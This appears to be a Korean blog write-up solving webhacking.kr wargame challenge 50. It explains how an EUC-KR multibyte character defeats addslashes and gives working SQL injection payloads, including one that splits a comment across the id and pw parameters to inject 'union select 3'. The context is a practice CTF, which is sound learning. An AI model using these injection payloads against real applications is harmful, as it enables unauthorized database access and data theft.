소스코드를 보면
id와 pw에서 addslashes함수가 적용되고
id는 인코딩 방식이 utf-8로 변환되며
GET방식으로 받은 값에
from, pw, (, ), , %, =, >, < 가 필터링되고
id값에서는 union이 필터링
SQL구문으로는
select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')
lv이 1 또는 2이면 화면에 출력되고
'3'이면 클리어
여기서는 id값의 인코딩 방식이 euc-kr에서 utf-8로 바뀌는 것을 봐야하는 것 같음
이렇게 멀티바이트로 인코딩되는 경우
addslashes함수를 우회하여 sql injection을 시도 할 수 있음
id=%aa%27||lv%09like%092%23&pw=guest
이렇게 주면
id값의 %aa%27이 addslashes를 통해
%aa%5c%27이 되고 멀티바이트 문자로 인식되서
%aa%5c가 한 문자로 싱클쿼터가 됨
결국
select lv from chall50 where id='~~'||lv like 2#' and pw=md5('guest')
2는 있지만 3은 없음
union을 써서 3을 강제로 빼내야하는데
id에서 union이 필터링 되어 있기 때문에
pw쪽에서 써야한다
id=%aa%27/*&pw=*/union%09select%093%23을 주면
select lv from chall50 where id='~~'/*' and pw=md5('*/union select 3#')
-> select lv from chall50 wehere id='~~' union select 3#
'Wargame, CTF > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 22번 (0) | 2020.01.03 |
---|---|
Webhacking.kr 2번 (0) | 2020.01.02 |
Webhacking.kr 4번 (0) | 2019.12.27 |
Webhacking.kr 8번 (0) | 2019.12.27 |
Webhacking.kr 55번 (0) | 2019.12.27 |